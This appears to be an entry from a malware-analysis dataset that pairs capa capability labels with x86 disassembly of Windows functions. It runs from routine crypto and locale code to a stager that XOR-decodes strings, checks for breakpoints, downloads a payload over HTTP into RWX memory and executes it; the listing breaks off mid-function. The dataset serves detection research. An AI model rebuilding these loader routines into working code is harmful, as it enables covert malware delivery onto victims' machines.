joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49f720
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0xaf3d88]
xor edx, edx
cmp eax, edx
jne 0x49f746
xor eax, eax
mov byte [eax + 0xaf3c88], al
inc eax
cmp eax, 0x100
jl 0x49f72e
mov dword [0xaf3d88], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0xaf3c88
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x49f7d7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x49f7aa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x49f778
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x49f850
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x49f8a3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x49f88a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4a6220
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4e695e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004a6b40
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x9b91dc
call fcn.004d68a6
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x4a62b3
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004d68a6
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x4a62ac
push 0
mov ecx, eax
call fcn.0049d350
mov dword [esi + 0xc], eax
jmp 0x4a62b5
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x4a62b5
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x4c77fe
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4c781e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004c65f6
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4c7841
test byte [esp + 8], 2
je 0x4c7841
call fcn.004c6669
mov dword [eax], 0xd
call fcn.004c6672
mov dword [eax], 5
jmp 0x4c781a
xor eax, eax
ret

Function at 0x4d8f56
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4d8f8e
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004d6fc0
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004d6f98
jmp 0x4d8f9a
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4da650
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4da692
call fcn.004e03bc
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4da692
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4da689
xor eax, eax
jmp 0x4da69a
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004da6a0
pop edi
pop esi
pop ebx
ret 4

Function at 0x4e08ec
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4e091a
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4e0938
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004e0852
jmp 0x4e0938
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4e0938
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004e0852
test edi, edi
mov eax, edi
jne 0x4e0922
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x4ea640
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0xb0b020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4ea6d8
push reloc.WS2_32.dll_bind
call sub.ADVAPI32.dll_RegOpenKeyExA
test eax, eax
jne 0x4ea6b8
xor eax, eax
push ebp
push 0x4ea6b1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4ea6f4
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ea6b8
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.dll_RegCloseKey
ret
mov ax, word [0xb0b020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0xb0b020], ax
mov esp, ebp
pop ebp
ret
Function at 0x4eb404
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0xb1c044], 0
je 0x4eb465
cmp word [0xb1c218], 0xd7b2
jne 0x4eb42d
cmp dword [0xb1c220], 0
jbe 0x4eb42d
mov eax, 0xb1c214
call dword [0xb1c230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0xb0b090
push 0xfffffffffffffff5
call sub.KERNEL32.dll_GetStdHandle
push eax
call sub.KERNEL32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4eb48c
push 0xfffffffffffffff5
call sub.KERNEL32.dll_GetStdHandle
push eax
call sub.KERNEL32.dll_WriteFile
pop edx
ret
cmp byte [0xb0b030], 0
jne 0x4eb481
push 0
push 0xb0b088
push 0xb0b090
push 0
call sub.USER32.dll_MessageBoxA
pop edx
ret
Function at 0x4ed304
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4ed36a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004eb7f8
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004ea234
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4ed354
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ed371
lea eax, [ebp - 0x10]
call fcn.004eb588
ret

Function at 0x4f1790
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push 0x100
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.dll_GetLocaleInfoA
test eax, eax
jle 0x4f17c9
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004eb678
jmp 0x4f17d2
mov eax, ebx
mov edx, esi
call fcn.004eb5dc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4f17dc
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.dll_GetLocaleInfoA
test eax, eax
jle 0x4f17fd
mov al, byte [esp]
jmp 0x4f17ff
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4f2c58
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x4f2cbc
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.KERNEL32.dll_GetLocaleInfoA
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004eb7f8
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.dll_GetACP
mov edx, eax
pop eax
call fcn.004eec20
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f2cc3
lea eax, [ebp - 0xc]
call fcn.004eb588
ret
Function at 0x4f3d84
Capabilities:
Encode data using base64
Encrypt data using rc4 ksa

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov dword [esp + 4], ecx
mov dword [esp], edx
mov edi, 0xb0b33c
lea ecx, [esp + 8]
mov dword [ecx], eax
mov eax, dword [esp]
mov dword [esp + 0xc], eax
xor ebx, ebx
xor esi, esi
mov eax, dword [esp + 4]
mov ebp, 3
cdq
idiv ebp
test eax, eax
jle 0x4f3e48
mov edx, dword [ecx]
movzx edx, byte [edx + ebx]
shr edx, 2
mov dl, byte [edi + edx]
mov ebp, dword [esp + 0xc]
mov byte [ebp + esi], dl
mov edx, dword [ecx]
mov dl, byte [edx + ebx]
and dl, 3
and edx, 0xff
shl edx, 4
mov ebp, dword [ecx]
movzx ebp, byte [ebp + ebx + 1]
shr ebp, 4
add edx, ebp
mov dl, byte [edi + edx]
mov ebp, dword [esp + 0xc]
mov byte [ebp + esi + 1], dl
mov edx, dword [ecx]
mov dl, byte [edx + ebx + 1]
and dl, 0xf
and edx, 0xff
shl edx, 2
mov ebp, dword [ecx]
movzx ebp, byte [ebp + ebx + 2]
shr ebp, 6
add edx, ebp
mov dl, byte [edi + edx]
mov ebp, dword [esp + 0xc]
mov byte [ebp + esi + 2], dl
mov edx, dword [ecx]
mov dl, byte [edx + ebx + 2]
and dl, 0x3f
and edx, 0xff
mov dl, byte [edi + edx]
mov ebp, dword [esp + 0xc]
mov byte [ebp + esi + 3], dl
add esi, 4
add ebx, 3
dec eax
jne 0x4f3dbc
mov eax, dword [esp + 4]
mov ebp, 3
cdq
idiv ebp
dec edx
je 0x4f3e5f
dec edx
je 0x4f3ea0
jmp 0x4f3efd
mov eax, dword [ecx]
movzx eax, byte [eax + ebx]
shr eax, 2
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi], al
mov eax, dword [ecx]
mov al, byte [eax + ebx]
and al, 3
and eax, 0xff
shl eax, 4
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi + 1], al
mov eax, dword [esp + 0xc]
mov byte [eax + esi + 2], 0x3d
mov eax, dword [esp + 0xc]
mov byte [eax + esi + 3], 0x3d
jmp 0x4f3efd
mov eax, dword [ecx]
movzx eax, byte [eax + ebx]
shr eax, 2
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi], al
mov eax, dword [ecx]
mov al, byte [eax + ebx]
and al, 3
and eax, 0xff
shl eax, 4
mov edx, dword [ecx]
movzx edx, byte [edx + ebx + 1]
shr edx, 4
add eax, edx
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi + 1], al
mov eax, dword [ecx]
mov al, byte [eax + ebx + 1]
and al, 0xf
and eax, 0xff
shl eax, 2
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi + 2], al
mov eax, dword [esp + 0xc]
mov byte [eax + esi + 3], 0x3d
mov eax, dword [esp + 4]
add eax, 2
mov ecx, 3
cdq
idiv ecx
shl eax, 2
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4f3f60
Capabilities:
Encode data using base64

Disassembly:
push esi
push edi
push ebp
add esp, 0xfffffff4
mov dword [esp + 4], eax
mov dword [esp + 8], edx
xor esi, esi
xor edi, edi
xor eax, eax
mov ebp, ecx
test ebp, ebp
jns 0x4f3f7d
add ebp, 3
sar ebp, 2
test ebp, ebp
jle 0x4f408f
mov edx, 4
mov eax, esp
mov ecx, dword [esp + 4]
movzx ecx, byte [ecx + esi]
cmp ecx, 0x3d
jg 0x4f3fb0
je 0x4f3ffc
sub ecx, 0x2b
je 0x4f3ff2
sub ecx, 4
je 0x4f3ff7
dec ecx
sub ecx, 0xa
jb 0x4f3fe1
jmp 0x4f3fff
add ecx, 0xffffffbf
sub ecx, 0x1a
jb 0x4f3fc2
add ecx, 0xfffffffa
sub ecx, 0x1a
jb 0x4f3fd0
jmp 0x4f3fff
mov ecx, dword [esp + 4]
mov cl, byte [ecx + esi]
sub cl, 0x41
mov byte [eax], cl
jmp 0x4f3fff
mov ecx, dword [esp + 4]
mov cl, byte [ecx + esi]
sub cl, 0x61
add cl, 0x1a
mov byte [eax], cl
jmp 0x4f3fff
mov ecx, dword [esp + 4]
mov cl, byte [ecx + esi]
sub cl, 0x30
add cl, 0x34
mov byte [eax], cl
jmp 0x4f3fff
mov byte [eax], 0x3e
jmp 0x4f3fff
mov byte [eax], 0x3f
jmp 0x4f3fff
mov byte [eax], 0xff
inc esi
inc eax
dec edx
jne 0x4f3f8f
mov al, byte [esp]
shl eax, 2
xor edx, edx
mov dl, byte [esp + 1]
shr edx, 4
or al, dl
mov edx, dword [esp + 8]
mov byte [edx + edi], al
lea eax, [edi + 1]
mov dl, byte [esp + 2]
cmp dl, 0xff
je 0x4f404f
cmp byte [esp + 3], 0xff
jne 0x4f404f
mov al, byte [esp + 1]
shl eax, 4
and edx, 0xff
shr edx, 2
or al, dl
mov edx, dword [esp + 8]
mov byte [edx + edi + 1], al
lea eax, [edi + 2]
inc edi
jmp 0x4f4087
cmp dl, 0xff
je 0x4f4087
mov al, byte [esp + 1]
shl eax, 4
and edx, 0xff
shr edx, 2
or al, dl
mov edx, dword [esp + 8]
mov byte [edx + edi + 1], al
mov eax, dword [esp + 8]
mov dl, byte [esp + 2]
shl edx, 6
or dl, byte [esp + 3]
mov byte [eax + edi + 2], dl
lea eax, [edi + 3]
add edi, 2
inc edi
dec ebp
jne 0x4f3f88
add esp, 0xc
pop ebp
pop edi
pop esi
ret

Function at 0x4f411c
Capabilities:
Hash data with crc32

Disassembly:
push ebx
xor ebx, ebx
mov ecx, 0xb1c7a0
mov eax, ebx
mov edx, 8
test al, 1
je 0x4f4138
shr eax, 1
xor eax, 0xedb88320
jmp 0x4f413a
shr eax, 1
dec edx
jne 0x4f412b
mov dword [ecx], eax
inc ebx
add ecx, 4
cmp ebx, 0x100
jne 0x4f4124
pop ebx
ret
Function at 0x4f4150
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x4f4159
mov eax, dword [ebp - 4]
add esp, 0xfffffebc
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004eba38
xor eax, eax
push ebp
push 0x4f4239
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004f411c
mov eax, dword [0xb1be0c]
mov byte [eax], 0
mov dword [ebx], 0xffffffff
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x154]
call fcn.004e9e7c
mov edx, 1
lea eax, [ebp - 0x154]
call fcn.004ea218
call fcn.004e9ba8
test eax, eax
jne 0x4f4216
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x10145]
mov ecx, 0xfff1
lea eax, [ebp - 0x154]
call fcn.004e9fcc
mov dx, word [ebp - 8]
test dx, dx
jbe 0x4f4210
lea eax, [ebp - 0x10145]
xor ecx, ecx
mov cl, byte [eax]
mov esi, dword [ebx]
and esi, 0xff
xor ecx, esi
mov ecx, dword [ecx*4 + 0xb1c7a0]
mov esi, dword [ebx]
shr esi, 8
xor ecx, esi
mov dword [ebx], ecx
inc eax
dec dx
jne 0x4f41ec
cmp dword [ebp - 8], 0
jne 0x4f41c3
lea eax, [ebp - 0x154]
call fcn.004e9fec
not dword [ebx]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f4240
lea eax, [ebp - 4]
call fcn.004eb588
ret

Function at 0x4ff718
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
test esi, esi
jbe 0x4ff738
mov ecx, 1
mov ebx, edx
add ebx, ecx
dec ebx
mov bl, byte [ebx]
mov edi, eax
add edi, ecx
dec edi
xor byte [edi], bl
inc ecx
dec esi
jne 0x4ff726
pop edi
pop esi
pop ebx
ret
Function at 0x507fd4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
xor ebp, ebp
mov ebx, 0xb1ccb4
mov eax, ebp
shr eax, 1
and eax, 0xff
mov dword [esp], eax
mov esi, ebp
and esi, 1
mov eax, ebp
and eax, 0x200
shr eax, 8
or esi, eax
mov edx, dword [esi*4 + 0xb11670]
mov eax, dword [esi*4 + 0xb116b0]
xor eax, dword [esp]
call fcn.00507f70
mov edi, eax
shl edi, 0x18
mov eax, edi
call fcn.00507fac
mov dword [ebx], eax
mov edx, dword [esi*4 + 0xb11680]
mov eax, dword [esi*4 + 0xb116c0]
xor eax, dword [esp]
call fcn.00507f70
mov edi, eax
shl edi, 0x10
mov eax, edi
call fcn.00507fac
mov dword [ebx + 0x1000], eax
mov edx, dword [esi*4 + 0xb11690]
mov eax, dword [esi*4 + 0xb116d0]
xor eax, dword [esp]
call fcn.00507f70
mov edi, eax
shl edi, 8
mov eax, edi
call fcn.00507fac
mov dword [ebx + 0x2000], eax
mov edx, dword [esi*4 + 0xb116a0]
mov eax, dword [esi*4 + 0xb116e0]
xor eax, dword [esp]
call fcn.00507f70
mov edi, eax
mov eax, edi
call fcn.00507fac
mov dword [ebx + 0x3000], eax
inc ebp
add ebx, 4
cmp ebp, 0x400
jne 0x507fe0
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x508138
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
mov ecx, dword [eax + edx*4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
lea eax, [edx + eax*4 + 0x4c]
mov dword [ebp - 0x14], eax
xor ebx, ebx
mov eax, dword [ebp - 0x14]
xor edx, edx
mov dword [eax + ebx*4], edx
inc ebx
cmp ebx, 3
jne 0x50816d
xor ebx, ebx
mov eax, ebx
mov esi, 3
xor edx, edx
div esi
mov eax, dword [ebp - 0x14]
lea eax, [eax + edx*4]
mov dword [ebp - 0x18], eax
xor eax, eax
lea edx, [eax + ecx]
and edx, 3
mov esi, dword [ebp - 8]
lea edx, [esi + edx*2]
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x1c]
mov dx, word [edx]
and dx, 1
movzx edx, dx
mov esi, dword [ebp - 0x18]
mov esi, dword [esi]
add esi, esi
or esi, edx
mov edi, dword [ebp - 0x18]
mov dword [edi], esi
mov esi, dword [ebp - 0x1c]
movzx esi, word [esi]
shr esi, 1
xor dx, 1
shl edx, 0xf
or si, dx
mov edx, dword [ebp - 0x1c]
mov word [edx], si
inc eax
cmp eax, 4
jne 0x508193
inc ebx
cmp ebx, 0xf
jne 0x50817d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 8
jne 0x50814f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x511ee0
Capabilities:
Encrypt data using twofish

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe4
mov dword [esp + 0x18], 0x100
mov esi, 0xb160f4
mov ebx, 0xb20ce4
movzx edi, byte [esi]
mov dword [esp], edi
mov eax, edi
call fcn.00510e30
mov dword [esp + 8], eax
mov eax, edi
call fcn.00510e40
mov dword [esp + 0x10], eax
movzx edi, byte [esi + 0x100]
mov dword [esp + 4], edi
mov eax, edi
call fcn.00510e30
mov dword [esp + 0xc], eax
mov eax, edi
call fcn.00510e40
mov ebp, eax
mov dword [esp + 0x14], ebp
mov eax, edi
mov edx, dword [esp + 0xc]
shl edx, 8
or eax, edx
mov edx, ebp
shl edx, 0x10
or eax, edx
mov edx, ebp
shl edx, 0x18
or eax, edx
mov dword [ebx], eax
mov eax, dword [esp + 0x10]
mov edx, eax
mov ecx, eax
shl ecx, 8
or edx, ecx
mov ecx, dword [esp + 8]
shl ecx, 0x10
or edx, ecx
mov ecx, dword [esp]
shl ecx, 0x18
or edx, ecx
mov dword [ebx + 0x400], edx
mov edx, dword [esp + 0xc]
shl ebp, 8
or edx, ebp
shl edi, 0x10
or edx, edi
mov ecx, dword [esp + 0x14]
shl ecx, 0x18
or edx, ecx
mov dword [ebx + 0x800], edx
mov edx, dword [esp + 8]
mov ecx, dword [esp]
shl ecx, 8
or edx, ecx
shl eax, 0x10
or edx, eax
mov eax, dword [esp + 8]
shl eax, 0x18
or edx, eax
mov dword [ebx + 0xc00], edx
add ebx, 4
inc esi
dec dword [esp + 0x18]
jne 0x511ef9
add esp, 0x1c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
cmp dword [0x40ac40], 0
mov dword [esp], 0
je 0x40106d
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov esi, 0x40ac40
mov eax, dword [esi]
push eax
call ebx
mov edx, dword [esi]
lea ecx, [esp + 0x14]
push ecx
push 4
mov edi, eax
push edi
push edx
call ebp
xor eax, eax
test edi, edi
jle 0x40104f
mov ecx, dword [esi]
xor byte [ecx + eax], 0x95
add ecx, eax
inc eax
cmp eax, edi
jl 0x401042
mov eax, dword [esp + 0x10]
inc eax
cmp dword [eax*4 + 0x40ac40], 0
lea esi, [eax*4 + 0x40ac40]
mov dword [esp + 0x10], eax
jne 0x401028
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x401080
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x40b7b0]
push esi
push edi
lea esi, [eax + 0x14]
mov edi, eax
mov eax, dword [esi]
push 0x40
push 0x3000
inc eax
push eax
push 0
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
test eax, eax
je 0x4010dc
mov ecx, dword [esi]
mov edx, dword [edi + 0x10]
push ecx
push edx
push eax
call fcn.00403c80
add esp, 0xc
push dword [ebp - 8]
push 0xdefaced
mov edx, dword [ebp - 4]
push edx
pop eax
sub esp, 0x1000
call eax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4010f0
Capabilities:
Check for software breakpoints
Encode data using xor

Disassembly:
push ebp
push edi
mov edi, dword [0x40b7b0]
mov ebp, dword [edi + 0x14]
mov edx, dword [edi + 0x10]
xor eax, eax
cmp ebp, 4
jb 0x401145
push esi
movzx esi, byte [edx]
lea esp, [esp]
mov ecx, esi
xor ecx, eax
cmp cl, 0xeb
jne 0x40113a
movzx ecx, byte [edx + 1]
xor ecx, eax
cmp cl, 2
jne 0x40113a
movzx ecx, byte [edx + 2]
xor ecx, eax
cmp cl, 0xcc
jne 0x40113a
movzx ecx, byte [edx + 3]
xor ecx, eax
cmp cl, 0xf1
je 0x401148
inc eax
cmp eax, 0x100
jb 0x401110
xor eax, eax
pop esi
pop edi
pop ebp
ret
xor ecx, ecx
test ebp, ebp
jbe 0x401159
mov edi, edi
xor byte [ecx + edx], al
inc ecx
cmp ecx, dword [edi + 0x14]
jb 0x401150
pop esi
pop edi
mov eax, 1
pop ebp
ret
Function at 0x401170
Capabilities:
Allocate or change rwx memory
Check http status code
Connect to http server
Create http request
Execute shellcode via indirect call
Get http content length
Read data from internet
Receive data
Send data
Send http request

Disassembly:
sub esp, 0x24
mov eax, dword [0x40b7b0]
push ebx
push ebp
push edi
xor ebp, ebp
push ebp
push ebp
push ebp
push ebp
xor ebx, ebx
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1__SV2_
mov dword [esp + 0x28], ebx
mov dword [esp + 0x3c], str.image_jpeg
mov dword [esp + 0x40], ebp
mov dword [esp + 0x30], eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
mov dword [esp + 0x20], edi
cmp edi, ebp
je 0x401314
mov ecx, dword [0x40ac40]
push esi
push ebp
push ebp
push 3
push ebp
push ebp
push 0x50
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetConnectW]
mov esi, eax
mov dword [esp + 0x28], esi
cmp esi, ebp
je 0x40130c
mov eax, dword [0x40ac44]
push ebp
push ebp
lea edx, [esp + 0x34]
push edx
push ebp
push ebp
push eax
push ebp
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov ebx, eax
cmp ebx, ebp
je 0x401301
push ebp
push ebp
push ebp
push ebp
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x4012f2
mov esi, dword [sym.imp.WININET.dll_HttpQueryInfoW]
push ebp
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x24]
push edx
push 0x20000013
mov edi, 4
push ebx
mov dword [esp + 0x24], edi
call esi
test eax, eax
je 0x4012f2
cmp dword [esp + 0x1c], 0xc8
jne 0x4012f2
push ebp
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0x20000005
push ebx
mov dword [esp + 0x28], ebp
mov dword [esp + 0x24], edi
call esi
test eax, eax
je 0x4012f2
mov eax, dword [esp + 0x14]
cmp eax, ebp
je 0x4012f2
push 0x40
push 0x3000
inc eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
cmp edi, ebp
je 0x4012f2
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [esp + 0x14]
xor esi, esi
lea esp, [esp]
lea edx, [esp + 0x10]
push edx
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
push ebx
call ebp
test eax, eax
mov eax, dword [esp + 0x14]
je 0x4012c5
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x4012c5
add esi, ecx
cmp esi, eax
jb 0x4012a0
cmp esi, eax
je 0x4012e0
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x4012f2
mov ecx, dword [esp + 0x20]
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x10], edi
mov dword [esp + 0x18], 1
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [esp + 0x24]
mov esi, dword [esp + 0x28]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, dword [esp + 0x18]
push edi
